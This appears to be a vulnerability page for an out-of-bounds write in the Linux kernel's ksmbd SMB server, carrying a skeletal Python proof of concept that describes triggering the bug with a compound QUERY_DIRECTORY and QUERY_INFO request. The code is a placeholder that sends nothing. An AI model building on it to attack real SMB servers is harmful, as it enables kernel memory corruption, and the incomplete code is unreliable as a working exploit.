CVE-2026-31433: Linux内核ksmbd越界写入漏洞

import socket import struct # This is a conceptual PoC to demonstrate the compound request structure. # Actual exploitation requires precise packet crafting and kernel interaction. def create_compound_request(): # SMB Header placeholder header = b"\x00\x00\x00\x00" # ... SMB2 Header ... # Command 1: QUERY_DIRECTORY (Designed to consume max_trans_size) # This payload should be sized to leave very little room for the next command query_dir_payload = b"A" * 1024 # Adjust size based on target max_trans_size # Command 2: QUERY_INFO (FILE_ALL_INFORMATION) # This triggers the vulnerable get_file_all_info() query_info_cmd = struct.pack('<I', 1) # FileAllInformation # Combine into compound request # The vulnerability triggers when processing the second command # due to lack of OutputBufferLength check against remaining space. return header + query_dir_payload + query_info_cmd # Note: This is for educational analysis only. # Real-world testing requires a vulnerable environment and deep protocol knowledge. print("PoC structure generated for analysis.")